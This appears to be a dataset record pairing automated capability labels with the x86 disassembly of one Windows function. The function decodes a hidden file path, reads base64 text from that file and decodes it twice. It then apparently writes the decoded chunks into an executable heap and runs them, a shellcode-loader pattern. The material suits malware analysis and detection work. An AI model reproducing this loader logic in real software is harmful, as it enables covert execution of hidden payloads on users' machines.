Function at 0x4018a0
Capabilities:
Decode data using base64 via winapi
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2a44
call fcn.00402b10
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 2
push ebx
mov ebx, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
push esi
mov esi, dword [ebp + 0xc]
push edi
jne 0x4018ce
mov esi, dword [esi + 4]
jmp 0x401925
push 0
push 0
lea eax, [ebp - 0x271c]
push eax
push 0
push 1
push 0x24
push str.YzpcdXNlcnNccHVibGljXG91dHB1dC50eHQ
call ebx
mov eax, dword [ebp - 0x271c]
xor ecx, ecx
add eax, 1
setb cl
neg ecx
or ecx, eax
push ecx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov esi, eax
lea eax, [ebp - 0x271c]
push 0
push 0
push eax
push esi
push 1
push 0x24
push str.YzpcdXNlcnNccHVibGljXG91dHB1dC50eHQ
call ebx
mov eax, dword [ebp - 0x271c]
mov byte [esi + eax], 0
push 0x40324c
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
mov dword [ebp - 0x2724], eax
test eax, eax
jne 0x401946
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push eax
lea eax, [ebp - 0x2714]
push 0x2710
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
lea eax, [ebp - 0x2714]
push 0x403250
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcspn]
add esp, 0x14
cmp eax, 0x2710
jae 0x401af2
mov byte [ebp + eax - 0x2714], 0
lea eax, [ebp - 0x2714]
push eax
push 0x403254
call fcn.00401700
add esp, 8
mov dword [ebp - 0x2718], 0
lea edi, [ebp - 0x2714]
mov dword [ebp - 0x271c], 2
jmp 0x4019b7
mov ebx, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov esi, edi
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x4019c0
push 0
push 0
lea eax, [ebp - 0x2718]
sub esi, ecx
push eax
push 0
push 1
push esi
push edi
call ebx
push dword [ebp - 0x2718]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x2718]
push 0
push 0
push eax
push ebx
push 1
push esi
push edi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
sub dword [ebp - 0x271c], 1
mov edi, ebx
jne 0x4019b1
push ebx
push 0x403264
call fcn.00401700
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
xor edi, edi
push 0x403250
push ebx
call esi
add esp, 0x10
test eax, eax
je 0x401a48
push 0x403250
mov dword [ebp + edi*4 - 0x2a44], eax
inc edi
push 0
call esi
add esp, 8
test eax, eax
jne 0x401a30
push dword [ebp - 0x2724]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
push 0
push 0
push 0x40000
call dword [0x4054ac]
push 0x100000
push 0
push eax
call dword [0x4054b0]
push 0x403270
mov dword [ebp - 0x2724], eax
mov ebx, eax
mov dword [ebp - 0x2720], 0x40326d
call fcn.00401700
add esp, 4
xor esi, esi
test edi, edi
jle 0x401ac4
nop dword [eax]
push ebx
lea eax, [ebp - 0x2720]
push eax
push dword [ebp + esi*4 - 0x2a44]
call dword [0x40549c]
cmp eax, 0xc000000d
je 0x401adf
inc esi
add ebx, 6
cmp esi, edi
jl 0x401aa0
push 0x403274
call fcn.00401700
add esp, 4
push 0
push dword [ebp - 0x2724]
call dword [0x405494]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401ce2
mov esp, ebp
pop ebp
ret
call fcn.00401e12
int3